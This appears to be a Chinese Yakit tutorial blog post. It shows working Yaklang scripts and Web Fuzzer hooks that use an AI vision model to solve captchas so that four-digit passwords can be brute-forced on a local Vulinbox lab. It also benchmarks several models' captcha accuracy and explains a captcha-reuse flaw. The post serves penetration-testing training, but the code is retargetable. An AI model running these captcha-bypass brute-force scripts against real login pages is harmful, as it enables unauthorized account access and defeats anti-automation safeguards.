乐于分享
好东西不私藏

Yakit AI 强化:使用AI高效解决渗透测试中验证码问题

Yakit AI 强化:使用AI高效解决渗透测试中验证码问题

前言

打开一个后台管理系统,一般来说可能仅仅是一个登录框。用户名、密码、验证码——三个输入框,一个提交按钮。密码可以爆破,用户名可以枚举,但验证码这个东西,一直是渗透测试中一个绕不开的拦路虎

传统的解决思路无外乎几种:

1.使用 ddddocr 等开源 OCR 库,部署一套 Python 服务来识别验证码。问题在于,需要额外维护一套 Python 环境,模型对复杂验证码的识别率也不稳定,遇到扭曲、干扰线多的验证码就容易翻车。

2.接码平台。花钱买识别结果,成本不低,还有延迟问题。对于内部渗透测试这种不方便把数据外传的场景,也存在合规风险。

3.手动绕过。找逻辑漏洞、看验证码是否绑定 session、是否可以复用——运气好的时候管用,运气不好就只能干瞪眼。

这几种方式的共同问题是:要么成本高,要么不够通用,要么依赖外部环境。

那么在 AI 时代,有没有一种更直接的方式,不需要额外部署服务,不需要花钱买接码,直接在 Yaklang 里几行代码就能解决验证码识别?

实际上,Yaklang 的ai模块提供了ai.FunctionCall这个函数,配合 ai.imageBase64,可以让大模型直接"看懂"验证码图片,并把识别结果以结构化数据的形式返回给我们。不用训练模型,不用部署额外服务,Yakit 中配好了 AI 网关之后,几行代码就够了。

在本文中,我们将会以一个真实的验证码靶场为案例,完整演示一套递进的方案:

1.先用一个 Yak 脚本自动化爆破验证码保护的登录表单,在这个过程中顺手发现一个验证码逻辑漏洞。

2.然后面对正确实现的验证码(每次提交后立即作废),分别编写基础版和并发版爆破脚本。

3.再通过 Web Fuzzer 热加载方案,把验证码识别直接集成到 Yakit 的 GUI 操作流中。

4.最后用 Benchmark 测试,用数据说明 AI 识别验证码的成功率到底有多高

当然本篇内容的靶场和使用案例也并不是空想,而是来源于真实案例的总结和抽象。

一、准备工作

YAK

认识靶场:验证码 + 四位密码

我们的测试目标是 Vulinbox中的一个验证码场景,运行在 http://127.0.0.1:8787/verification/op

页面很直白:一张验证码图片、一个验证码输入框、一个密码输入框。页面上还贴心地告诉我们——"密码差不多是四位数字,但是是为了防止你爆破加了验证码,所以你得想点办法"。

那么我们先来梳理一下这个验证码服务的完整交互流程:

分析一下关键要点:

1.验证码与 Session 绑定每次 GET /verification/op 都会生成一个新的 YSESSIONID,验证码图片通过 /verification/code 获取时才会真正生成 captcha.Data 并绑定到 session 上。

2.密码空间有限密码是启动时随机生成的四位数字,范围 0000-9999,总共 10000 种可能。如果没有验证码拦截,暴力枚举并不是什么难事。

3.核心矛盾很清楚要爆破密码,就必须同时解决验证码问题——每次尝试一个密码,都需要先获取一张验证码图片、识别它、然后和密码一起提交。

那么接下来的问题就变成了:如何高效且准确地识别每一张验证码?

YAK

认识ai.FunctionCall:让AI提取结构化数

在动手写爆破脚本之前,我们先来了解一下核心武器——ai.FunctionCall

ai.FunctionCall 是 Yaklang ai 模块中的一个函数,做的事情很直接:给 AI 一段输入(文字或图片),告诉它期望的输出格式,它就会返回对应格式的结构化数据

为什么我们要关心这个函数?因为传统的 OCR 方案说白了是模式匹配——用训练好的模型去匹配字符形状。而 ai.FunctionCall 走的是一条不同的路线:它让大模型去"理解"图片内容,然后按照我们指定的格式返回结果。大模型在图像理解上的能力远超传统 OCR,尤其面对有扭曲、干扰线、颜色混淆的验证码时,识别率要高出不少。

那么如何使用它?我们直接看代码:

result, err = ai.FunctionCall(    `执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,    {"code""从图片中提取的验证码类似的内容"},    ai.imageBase64(imageBase64Data),)captchaText = result["code"]

三个参数分别是:

1.自然语言指令告诉 AI 要做什么。这里我们让它"从图片中提取展示内容文本"。指令写得越清晰,结果越准确。

2.期望输出结构一个 map,key 是字段名,value 是对这个字段的自然语言描述。AI 会按照这个结构返回结果。在这里我们只需要一个 code字段,用来存放识别出的验证码文本。

3.图片数据通过 ai.imageBase64() 传入 Base64 编码的图片。Yaklang 还支持 ai.imageFile() 直接传文件路径、ai.imageRaw() 传原始字节,用哪个看场景。

返回值 result 是一个 map[string]any,直接用 result["code"] 就能拿到识别出的验证码文本。

理解了这个接口之后,我们就可以开始组装爆破脚本了。

二、脚本实战

YAK

脚本实战:一个脚本干掉验证码服务

先看完整的爆破流程:

这里有一个细节值得注意:在实际测试中我们发现,这个靶场的验证码在密码错误后并不会刷新——同一个 session 里的验证码是可以复用的。因此最优的策略是:先识别一次验证码,然后用同一个验证码快速遍历所有密码;只有当验证码识别失败时(服务端返回 verification code not match),才需要重新获取 session 和验证码。

这意味着我们只需要调用一次(或很少几次)AI,就可以完成整个爆破。

接下来是完整的 Yak 脚本:

target = "http://127.0.0.1:8787"// 封装获取 session + 识别验证码的逻辑getSessionAndCaptcha = func() {    rsp, _, err = poc.Get(target + "/verification/op")    die(err)    sessionCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, "YSESSIONID")    codeRsp, _, err = poc.Get(        target + "/verification/code",        poc.header("Cookie"sprintf("YSESSIONID=%v", sessionCookie)),    )    die(err)    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())    result, err = ai.FunctionCall(        `执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,        {"code""从图片中提取的验证码类似的内容"},        ai.imageBase64(imageBase64),    )    die(err)    captchaCode = result["code"]    log.info("new session: %v, recognized captcha: %v", sessionCookie, captchaCode)    return sessionCookie, captchaCode}cookie, captcha = getSessionAndCaptcha()for i = 0; i < 10000; i++ {    passStr = sprintf("%04d", i)    log.info("trying password: %v with captcha: %v", passStr, captcha)    submitRsp, _, err = poc.Post(        target + "/verification/op",        poc.header("Cookie"sprintf("YSESSIONID=%v", cookie)),        poc.replacePostParam("code", captcha),        poc.replacePostParam("password", passStr),    )    if err != nil {        log.error("submit failed: %v", err)        cookie, captcha = getSessionAndCaptcha()        continue    }    body = string(submitRsp.GetBody())    // 验证码被拒绝,说明识别错了,重新获取    if body.Contains("verification code not match") {        log.warn("captcha was wrong, getting new session and captcha...")        cookie, captcha = getSessionAndCaptcha()        i--        continue    }    // 验证码正确但密码错误,继续下一个密码    if body.Contains("密码错误") {        continue    }    // 既没有验证码错误也没有密码错误,说明成功了    log.info("SUCCESS! password is: %v", passStr)    println(body)    break}

我们来看这个脚本的几个关键点:

1.Session 与验证码一起获取我们把获取 session、拉验证码图片、AI 识别封装成一个函数 getSessionAndCaptcha,需要的时候调一次就行。

2.验证码可以复用这个靶场在密码错误后不会刷新验证码,因此识别一次就够了。只有当验证码本身识别错了(服务端返回 verification code not match),才需要重新获取。这个发现让爆破效率大幅提升——从每次密码都要调 AI,变成只调用一次。

3.AI 识别的调用很简洁codec.EncodeBase64 编码、ai.FunctionCall 识别、result["code"] 取结果,三步完成。

4.容错处理验证码错误时 i-- 回退计数器,确保不跳过任何密码。

在笔者的实际测试中,AI 识别出验证码后服务端接受,快速遍历密码,大约 20 秒内就命中了正确密码。

YAK

验证码逻辑漏洞:未删除旧数据

Wait a Minute,事情还没结束。

细心的读者可能已经注意到了上面脚本中一个不太对劲的地方——我们只识别了一次验证码,就可以用它遍历所有 10000 个密码。这意味着什么?

我们回头看服务端的行为:密码错误后,验证码没有被刷新,session 里的 captcha 数据还在。这实际上是一个验证码逻辑漏洞——验证码在使用后没有被删除,可以无限复用。

在真实的渗透测试中,这种逻辑漏洞并不少见。后端开发者可能只在验证码不匹配时刷新验证码,却忽略了"验证码正确但密码错误"这个分支。结果就是:攻击者只需要识别一次验证码,就等于验证码保护形同虚设。

这个漏洞虽然降低了我们的爆破难度,但在实战中我们更常面对的是正确实现的验证码——每次提交后验证码立即作废,无论对错。

那么面对这种更严格的验证码保护,我们的 AI 方案还能不能扛住?

三、安全版验证码:每次提交后立即作废

在 Vulinbox 中,我们同样准备了一个安全实现的验证码场景,运行在 /verification/safe/op。和前面的漏洞版本相比,安全版本做了一个关键的改动:

每次 POST 提交后,无论验证码对错、密码对错,session 中的验证码数据都会被立即删除。

这意味着攻击者每尝试一个密码,都必须重新获取验证码图片、重新 AI 识别。没有任何捷径可走。

那么我们应该怎么处理这种情况?

YAK

基础版:串行爆破

最直接的思路——每次密码尝试都走一遍完整流程:获取 session → 获取验证码 → AI 识别 → 提交。逻辑清晰,代码简洁,适合理解整个工作流程。

target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"for i = 0; i < 10000; i++ {    passStr = sprintf("%04d", i)    rsp, _, err = poc.Get(target + "/verification/safe/op")    if err != nil { log.error("get page failed: %v", err); continue }    cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)    codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie"sprintf("%v=%v", cookieName, cookie)))    if err != nil { log.error("get captcha failed: %v", err); continue }    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())    result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`, {"code""从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))    if err != nil { log.error("ai failed: %v", err); continue }    captchaCode = result["code"]    log.info("trying password: %v, captcha: %v", passStr, captchaCode)    submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie"sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))    if err != nil { log.error("submit failed: %v", err); continue }    body = string(submitRsp.GetBody())    if body.Contains("verification code not match") {        log.warn("captcha wrong, will retry this password")        i--        continue    }    if !body.Contains("密码错误") {        log.info("SUCCESS! password is: %v", passStr)        println(body)        break    }}

这个脚本的逻辑和前面漏洞版本的区别在于:每次循环都是一个完整的独立流程不存在验证码复用,每一次密码尝试都必须先让 AI 看一遍新的验证码图片。

基础版的问题也很明显——串行执行,每次密码尝试大约需要 2 秒(主要是 AI 调用的延迟)。遍历 10000 个密码理论上需要 5 个多小时。对于渗透测试来说,这个速度有些不够看。

那么有什么办法加速?

YAK

进阶版:并发爆破

既然每次密码尝试都是一个独立的 session,互不干扰,那我们完全可以并行执行多个尝试。用多个 worker 同时发起独立的 session、独立识别验证码、独立提交,密码空间被自然地分摊到各个 worker 上。

并发版脚本如下:

target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"concurrency = 5found = falsefoundPass = ""tryPassword = func(passStr) {    for retries = 0; retries < 3; retries++ {        if found { return }        rsp, _, err = poc.Get(target + "/verification/safe/op")        if err != nil { log.error("get page failed: %v", err); continue }        cookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)        codeRsp, _, err = poc.Get(target + "/verification/safe/code", poc.header("Cookie"sprintf("%v=%v", cookieName, cookie)))        if err != nil { log.error("get captcha failed: %v", err); continue }        imageBase64 = codec.EncodeBase64(codeRsp.GetBody())        result, err = ai.FunctionCall(`执行数据标注任务,从图片中提取展示内容文本,放置在结果中`, {"code""从图片中提取的验证码类似的内容"}, ai.imageBase64(imageBase64))        if err != nil { log.error("ai failed: %v", err); continue }        captchaCode = result["code"]        log.info("trying password: %v, captcha: %v", passStr, captchaCode)        submitRsp, _, err = poc.Post(target + "/verification/safe/op", poc.header("Cookie"sprintf("%v=%v", cookieName, cookie)), poc.replacePostParam("code", captchaCode), poc.replacePostParam("password", passStr))        if err != nil { log.error("submit failed: %v", err); continue }        body = string(submitRsp.GetBody())        if body.Contains("verification code not match") {            log.warn("captcha wrong for password %v, retrying (%d/3)...", passStr, retries+1)            continue        }        if !body.Contains("密码错误") {            found = true            foundPass = passStr            log.info("SUCCESS! password is: %v", passStr)        }        return    }}swg = sync.NewSizedWaitGroup(concurrency)for i = 0; i < 10000; i++ {    if found { break }    passStr = sprintf("%04d", i)    swg.Add()    go func {        defer swg.Done()        tryPassword(passStr)    }}swg.Wait()if found {    log.info("brute force completed, password: %v", foundPass)else {    log.info("brute force completed, password not found")}

并发版的几个关键设计:

1.sync.NewSizedWaitGroup(5) 控制并发数。5 个 worker 同时跑,吞吐量提升到串行版的约 5 倍。可以根据 AI 接口的并发限制灵活调整。

2.每个 goroutine 完全独立独立的 session、独立的验证码、独立的 AI 识别——session 之间没有任何状态共享,天然适合并发。

3.验证码识别失败自动重试tryPassword内部有最多 3 次重试,避免因为偶尔的 AI 识别失误就跳过某个密码。

4.全局 found 标志任何一个 worker 成功后,其他 worker 会在下一轮循环前检查到 found 标志并退出。

在笔者的测试中,5 个并发 worker 大约每秒可以尝试 2-3 个密码。相比串行版的每 2 秒一个密码,效率提升显著。

四、进阶:热加载方案嵌入Web Fuzzer

脚本方案已经可以工作了,但如果我们想在 Yakit 的 Web Fuzzer 中更灵活地使用呢?

比如说,我们已经在 Web Fuzzer 里构造好了请求数据包,密码字段用了 {{int(0000-9999|4)}} 来枚举,但验证码字段怎么办?总不能手动一个一个填吧。

这时候 Web Fuzzer 的热加载就派上用场了。热加载允许我们编写一段 Yak 代码,在每个请求发出之前对请求内容进行修改。我们只需要定义一个 beforeRequest 函数,Web Fuzzer 在发出每个请求前会自动调用它。

热加载入口的标准签名是:

// beforeRequest 允许在每次发送数据包前对请求做最后的处理// https     - 请求是否为 https 请求// originReq - 原始请求(未经过 Fuzzer 标签渲染)// req       - 即将发送的请求(已经过 Fuzzer 标签渲染)beforeRequest = func(https, originReq, req) {    return req}

YAK

思路:每次请求都换一套 Session + 验证码

在前面的脚本实战中我们已经验证:安全版验证码每次提交都会作废,所以 Web Fuzzer 中如果想爆破密码,每个请求都必须配一对全新的 (session, 验证码)简单复用模板里的 Cookie 是行不通的。

那么 beforeRequest 里要做的事情就清楚了:

1.现场获取一个新的 sessionGET /verification/safe/op 拿到 Set-Cookie: YSESSIONID_SAFE=xxx

2.用这个 session 拉验证码图片GET /verification/safe/code 携带刚拿到的 Cookie

3.AI 识别验证码

4.改写传入的请求把请求中的 YSESSIONID_SAFE Cookie 替换为新的,把 POST 参数 code 替换为识别结果

5.返回改写后的请求,密码字段保持 Fuzzer 标签自然枚举

YAK

Web Fuzzer 的请求模板

请求模板就是一个最普通的 POST 表单提交,验证码字段用占位值 temp(反正会被热加载覆盖),密码字段用 Fuzzer 标签 {{int(0000-9999|4)}} 来枚举。Cookie 也填一个占位值,热加载会替换掉它:

POST /verification/safe/op HTTP/1.1Host127.0.0.1:8787Content-Type: application/x-www-form-urlencodedCookie: YSESSIONID_SAFE=PLACEHOLDERcode=temp&password={{int(0000-9999|4)}}

YAK

完整的热加载代码(v1:单次识别)

我们先把上面四步落到代码上。注意,下面这段是第一版——只处理"识别一次"的情况,识别错了直接吃下去:

target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"beforeRequest = func(https, originReq, req) {    // 1. 获取一个全新的 session    rsp, _, err = poc.Get(target + "/verification/safe/op")    if err != nil {        log.error("get session failed: %v", err)        return req    }    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)    // 2. 用这个 session 拉一张验证码图片    codeRsp, _, err = poc.Get(        target + "/verification/safe/code",        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),    )    if err != nil {        log.error("get captcha failed: %v", err)        return req    }    // 3. AI 识别    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())    result, err = ai.FunctionCall(        `执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,        {"code""从图片中提取的验证码类似的内容"},        ai.imageBase64(imageBase64),    )    if err != nil {        log.error("ai recognize captcha failed: %v", err)        return req    }    captchaCode = result["code"]    log.info("recognized captcha: %v", captchaCode)    // 4. 改写请求:替换 Cookie 和 code 字段    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)    return req}

四步对应得很整齐:拉session、拉验证码、AI 识别、改写请求。poc.ReplaceHTTPPacketCookie 和 poc.ReplaceHTTPPacketPostParam 这两个函数会自动处理 Content-Length 等细节,我们不用手动维护。

把这段贴到 Web Fuzzer 里跑一下,会看到一个尴尬的现象——

不少请求的响应都是verification code not match。这正是前面Benchmark 章节里 57% 单次识别率的直接体现:每 10个 请求里,大约会有 4 个因为 AI 没认对验证码而被服务端拒掉,密码相当于白试了。

那么我们要怎么处理这种情况?

YAK

配合重试:retryHandler

Web Fuzzer 的热加载除了 beforeRequest,还提供了另外两个非常关键的钩子

这个钩子刚好就是为我们这个场景准备的。思路立刻就出来了:

1.retryHandler重新走一遍"拉 session → 拉验证码 → AI 识别 → 改写请求",然后调用 retry(newReq) 用新请求重试。

那么有一个问题——beforeRequest 和 retryHandler 都需要"拉 session → AI 识别 → 改写请求"这同一段逻辑。直接复制粘贴当然能跑,但代码就重复了。我们把这段公共逻辑抽成一个函数 recognizeAndPatch(req)

YAK

完整的热加载代码(v2:带重试)

target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"maxRetry = 6  // 单次成功率 ~57%,6 次重试覆盖 99% 以上// === 公共函数:拉 session、AI 识别验证码、改写传入的请求 ===recognizeAndPatch = func(req) {    rsp, _, err = poc.Get(target + "/verification/safe/op")    if err != nil {        log.error("get session failed: %v", err)        return req    }    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)    codeRsp, _, err = poc.Get(        target + "/verification/safe/code",        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),    )    if err != nil {        log.error("get captcha failed: %v", err)        return req    }    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())    result, err = ai.FunctionCall(        `执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,        {"code""从图片中提取的验证码类似的内容"},        ai.imageBase64(imageBase64),    )    if err != nil {        log.error("ai recognize captcha failed: %v", err)        return req    }    captchaCode = result["code"]    log.info("session=%v, captcha=%v", newCookie, captchaCode)    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)    return req}// === HOOK:beforeRequest —— 每个新请求发出前先识别一次 ===beforeRequest = func(https, originReq, req) {    return recognizeAndPatch(req)}// === HOOK:retryHandler —— 重试时重新识别一次再发 ===retryHandler = func(https, retryCount, req, rsp, retry) {    if retryCount > maxRetry {        log.Error("Recog error for code")        return    }    body = string(poc.GetHTTPPacketBody(rsp))    if body.Contains("verification code not match") {        newReq = recognizeAndPatch(req)        retry(newReq)    }}

四个关键点:

1.公共函数 recognizeAndPatch(req)把"换 session + AI 识别 + 改写请求"封装成一个纯函数,接收原请求、返回新请求。beforeRequestretryHandler 都调用它,逻辑只有一份。

2.beforeRequest 只剩一行所有重活都委托给公共函数。

3.retryHandler 重新识别后调 retryretryCount 是当前已经重试的次数,超过 maxRetry(这里设 6)就放弃。每次重试都重新拉一对全新的 (session, 验证码),所以哪怕连续几次都被 AI 认错,也能继续往下重试。

为什么 maxRetry 设 6?回到 Benchmark 章节:单次成功率 ~57%,6 次重试累积成功率 99.37%。换句话说,1000 个密码里,最多只有 6 个会因为重试 6 次都失败而漏掉。这个比例完全可以接受。

五、调试与使用

YAK

调试:先在 YAK Runner 里跑一遍

热加载代码贴到 Web Fuzzer 之前,最好先单独验证一下这两个钩子的联动是不是真的能打通。

这套涉及两个回调的逻辑要是直接上 Web Fuzzer 调起来非常麻烦。

这里先明确一下 retryHandler的调度语义:只要热加载里定义了retryHandler,Web Fuzzer 每个请求发完都会把响应交给它,是否真的重试完全由 retryHandler自己决定——

  • 如果它调用了retry(newReq),Web Fuzzer 就用 newReq再发一次(并把retryCount + 1 再丢进来);

  • 如果它直接 return(不调 retry),这次请求就算结束,不会重试。

换句话说,"失败判定"和"改写请求"都收敛在 retryHandler 一个函数里,不需要再去配 customFailureChecker 或 UI 上的失败关键字。这也是我们只用 beforeRequest + retryHandler 两个钩子就能闭环的原因。

我们直接用 YAK Runner 模拟 Web Fuzzer 的调用顺序:先调 beforeRequest拿到改写过的请求 → 实际发出 → 把响应交给 retryHandler → 如果 retryHandler 决定重试,再实际发一次。

target = "http://127.0.0.1:8787"cookieName = "YSESSIONID_SAFE"maxRetry = 6template = `POST /verification/safe/op HTTP/1.1Host: 127.0.0.1:8787Content-Type: application/x-www-form-urlencodedCookie: YSESSIONID_SAFE=PLACEHOLDERcode=temp&password=0000`// === 下面这一段(公共函数 + 两个钩子)就是要粘贴到 Web Fuzzer 里的代码 ===recognizeAndPatch = func(req) {    rsp, _, err = poc.Get(target + "/verification/safe/op")    if err != nil { log.error("get session failed: %v", err); return req }    newCookie = poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)    codeRsp, _, err = poc.Get(        target + "/verification/safe/code",        poc.header("Cookie", sprintf("%v=%v", cookieName, newCookie)),    )    if err != nil { log.error("get captcha failed: %v", err); return req }    imageBase64 = codec.EncodeBase64(codeRsp.GetBody())    result, err = ai.FunctionCall(        `执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,        {"code""从图片中提取的验证码类似的内容"},        ai.imageBase64(imageBase64),    )    if err != nil { log.error("ai failed: %v", err); return req }    captchaCode = result["code"]    log.info("session=%v, captcha=%v", newCookie, captchaCode)    req = poc.ReplaceHTTPPacketCookie(req, cookieName, newCookie)    req = poc.ReplaceHTTPPacketPostParam(req, "code", captchaCode)    return req}beforeRequest = func(https, originReq, req) {    return recognizeAndPatch(req)}retryHandler = func(https, retryCount, req, rsp, retry) {    if retryCount > maxRetry {        log.error("captcha recognize retry exceeded: %v", retryCount)        return    }    body = string(poc.GetHTTPPacketBody(rsp))    if body.Contains("verification code not match") {        newReq = recognizeAndPatch(req)        retry(newReq)    }}// ============ 调试入口:模拟 Web Fuzzer 的调用链 ============log.info("=== Step 1: beforeRequest ===")req1 = beforeRequest(false, []byte(template), []byte(template))println(string(req1))log.info("=== Step 2: send req1 ===")rsp1, _, err = poc.HTTP(req1, poc.host("127.0.0.1"), poc.port(8787))die(err)println(string(rsp1))log.info("=== Step 3: retryHandler ===")// 用一个闭包模拟 Web Fuzzer 传进来的 retry 回调:// retryHandler 调用 retry(newReq) 时,把 newReq 捕获下来;不调则 retryReq 保持为空。retryReq = []byte("")retry = func(reqs...) {    if len(reqs) > 0 { retryReq = reqs[0] }}retryHandler(false1, req1, rsp1, retry)if len(retryReq) == 0 {    log.info("retryHandler decided NOT to retry - step 1 already succeeded (no captcha mismatch)")    return}log.info("=== Step 4: send retry request ===")rsp2, _, err = poc.HTTP(retryReq, poc.host("127.0.0.1"), poc.port(8787))die(err)println(string(rsp2))body2 = string(poc.GetHTTPPacketBody(rsp2))if body2.Contains("verification code not match") {    log.warn("retry STILL FAILED - Web Fuzzer will keep calling retryHandler until maxRetry")else {    log.info("RETRY SUCCESS: captcha recognized correctly, full hook chain works end-to-end")}

这个调试脚本会出现两种情况,对应 retryHandler 的两条分支:

1.第一次就识别正确Step 2 的响应体里不包含 verification code not matchretryHandler 里的 if 条件不成立,不会调用 retryretryReq 保持为空。脚本在 Step 3 之后就 return 了——这正是"一次过"的情况。

2.第一次识别错误Step 2 的响应体里包含 verification code not matchretryHandler 内部重新调 recognizeAndPatch 拿到一对新的 (session, 验证码),然后 retry(newReq) 把新请求捕获到 retryReq 里;Step 4 实际发出去,看到 密码错误 之类的响应就说明两个钩子已经完整联动。

笔者实测时刚好命中了第二种情况:第一次识别 sdgq 错了,retryHandler 在第二次用 b8Ez 通过了校验,整套钩子按预期串起来。具体实际测试效果应该如图日志所展示的类似:

YAK

在 Web Fuzzer 中使用

调试通过之后,回到 Web Fuzzer:

1.把上面"v2 完整热加载代码"整段粘贴到热加载编辑器;

2.在请求模板中,按"Web Fuzzer 的请求模板"那一节的格式填入数据包,密码字段用 {{int(0000-9999|4)}},Cookie 写一个占位值即可(真正的值会由 beforeRequest 覆盖掉);

3.打开重试开关——这是让 Web Fuzzer 进入重试调度、从而调用 retryHandler 的前提。UI 上的"重试次数"建议填 6 跟 maxRetry 保持一致;不过注意,配置了 retryHandler 之后,真正的终止条件其实是 retryHandler 内部的 retryCount > maxRetry 判断,UI 数值更多是给人看的语义对齐;

4.配置好并发数(建议 5-10),点击发送。

【配图:Web Fuzzer 爆破过程中的结果列表截图,展示成功命中的请求和被自动重试的请求】

跑起来之后能看到,相比 v1 版本,响应里 verification code not match 的请求会被 retryHandler 拦下来、换一对全新的 (session, 验证码) 之后自动重发,最终落到结果列表里的几乎都是有效的密码错误或者最终命中的 secret 页面,AI 识别失败的密码不再被白白浪费。

热加载方案的优势在于,验证码识别的逻辑和 Web Fuzzer 的爆破能力直接打通了。我们不需要自己写爆破循环、不需要自己管理并发和重试,只需要关注"如何识别验证码"这一件事,剩下的并发控制、字典管理、重试调度、结果展示都交给 Web Fuzzer。整套方案只用到了 beforeRequest 和 retryHandler 两个钩子,失败判定被收敛在 retryHandler 里,没有引入额外的失败检测机制。

并且这段热加载代码是可以复用的——换一个目标,只需要改一下 targetcookieName、验证码图片的路径以及 retryHandler 里的失败关键字(verification code not match),核心的 AI 识别逻辑完全不用动。

六、AI模型识别验证码

方案跑通了,下一个该回答的问题:AI 识别验证码的准确率到底有多少?选哪个模型?

热加载里我们写的是 ai.FunctionCall(..., ai.model("xxx")),换模型就是改一行字符串。所以"选哪个模型"本质就是一次横向 Benchmark——比的东西也很直白:单次成功率、耗时、价格。

YAK

Benchmark 脚本

笔者用 vulinbox 的安全版验证码做对比。

/verification/safe/op 这条路径每次 POST 校验后会立刻把验证码从 session 里删掉(delete(val, "code")),验证码用一次即废。下次必须拉全新的一对 (session, 验证码),和 Web Fuzzer 里每次爆破请求的工作方式一致。

服务端对"验证码不对"的回包是精确的字符串 verification code not match,单次失败的判定直接看这个就行。

核心逻辑和前面热加载里的 recognizeAndPatch 相同。唯一差别:把识别出来的 code 配合故意错的密码 0000 提交给 /verification/safe/op,然后看响应里有没有 verification code not match——

  • 没有 → AI 认对了(服务端进入"密码错误"分支)

  • 有   → AI 认错了

把单次流程塞进 sized-wait-group,就成了一个可并发的 Benchmark runner:

target     = cli.String("target",     cli.setDefault("http://127.0.0.1:8787"))modelName  = cli.String("model",      cli.setDefault("memfit-vision-free"))total      = cli.Int("total",         cli.setDefault(300))concurrent = cli.Int("concurrent",    cli.setDefault(10))cli.check()cookieName = "YSESSIONID_SAFE"mu = sync.NewMutex()successCount := 0captchaFailCount := 0aiErrCount := 0costs := []swg = sync.NewSizedWaitGroup(concurrent)for i := 0; i < total; i++ {    swg.Add()    idx := i    go func {        defer swg.Done()        // 1) 拉 session + 拉验证码        rsp, _, err := poc.Get(target + "/verification/safe/op")        if err != nil { return }        cookie := poc.GetHTTPPacketCookie(rsp.RawPacket, cookieName)        codeRsp, _, err := poc.Get(            target + "/verification/safe/code",            poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),        )        if err != nil { return }        // 2) AI 识别,用 ai.model 指定要测试的模型        aiStart := time.Now()        b64 := codec.EncodeBase64(codeRsp.GetBody())        result, err := ai.FunctionCall(            `执行数据标注任务,从图片中提取展示内容文本,放置在结果中`,            {"code""从图片中提取的验证码类似的内容"},            ai.imageBase64(b64),            ai.model(modelName),            ai.funcCallRetryTimes(1),        )        costMs := time.Now().Sub(aiStart).Milliseconds()        if err != nil {            mu.Lock(); aiErrCount++; costs = append(costs, costMs); mu.Unlock()            return        }        // 3) 提交:故意用错密码,让服务端走到验证码判定分支        submitRsp, _, _ := poc.Post(            target + "/verification/safe/op",            poc.header("Cookie", sprintf("%v=%v", cookieName, cookie)),            poc.replacePostParam("code", sprint(result["code"])),            poc.replacePostParam("password""0000"),        )        mu.Lock()        costs = append(costs, costMs)        if str.Contains(string(submitRsp.GetBody()), "verification code not match") {            captchaFailCount++        } else {            successCount++        }        mu.Unlock()    }}swg.Wait()

脚本里几个需要说明的点:

  • 单次成功率的分母只算 success + captcha_fail。AI 网关偶尔会给出 EOF 之类的错误(下面的结果里出现了 0~13 次),这些属于基础设施抖动,单独计到 ai_error,不进分母。

  • 每轮只有两次 HTTP 加一次 AI 调用。session 独立,验证码用后即废,和 Web Fuzzer 真实爆破的工作流一致。

  • ai.funcCallRetryTimes(1) 允许底层 JSON 解析失败时快速重试一次,避免模型偶尔返回不规范结构带来的噪声污染数据。

YAK

测试设置

  • 目标:vulinbox /verification/safe/*(本地 127.0.0.1:8787

  • 每个模型 300 次独立识别

  • 并发度 10

  • ai.model("<模型名>") 切换模型,脚本其它部分不变

笔者选了六个 aibalance 网关上公开可用的模型,覆盖四条典型路线:通用 flash、视觉特化、大模型 no-thinking、超大规模。

  • memfit-qwen3.5-flash-free

  • memfit-qwen3.6-flash-free

  • memfit-qwen3-vl-flash-free

  • memfit-qwen3-vl-plus-free

  • memfit-qwen3.6-plus-no-thinking-free

  • memfit-kimi-k2.5-free(本次对比里参数规模最大)

YAK

测试结果

六个模型各 300 次独立识别:

先说最反常识的一条:参数规模最大的 memfit-kimi-k2.5-free 综合排在最后。

  • 单次成功率垫底 35.02%,比 qwen3.5-flash 低 22 个百分点

  • 单次耗时 10549 ms,是 flash 系列的 7~10 倍

  • 300 次并发 10 跑完要 5 分 20 秒

笔者的理解:Kimi k2.5 定位偏长上下文推理,视觉编码更多用在语义密集的图文理解上。面对四个扭曲字符的短 OCR,它会"过度推理"——先判断字体风格、再试图理解语义、最后才产出字符,每一步都在烧 token。

flash 系列走的是另外一条路:短输出延迟优化。"图进字出"的场景正好落在它的甜区里。

其它几条规律:

1.三个 57% 梯队的模型(qwen3.5-flash 57.49% / qwen3.6-plus-no-thinking 57.53% / qwen3.6-flash 56.90%)差距完全在统计噪声里——300 样本的标准差约 ±2.8 pp,三者在同一水平线。

2.memfit-qwen3.6-flash-free 综合最优:耗时 1226 ms,成功率和头部平齐,AI 错误只有 3 次。成功率、耗时、稳定性三项同时到一线的只有它一个。

3.memfit-qwen3.6-plus-no-thinking-free单次成功率 57.53% 略高,但 1697 ms 的耗时比 flash 重一半。

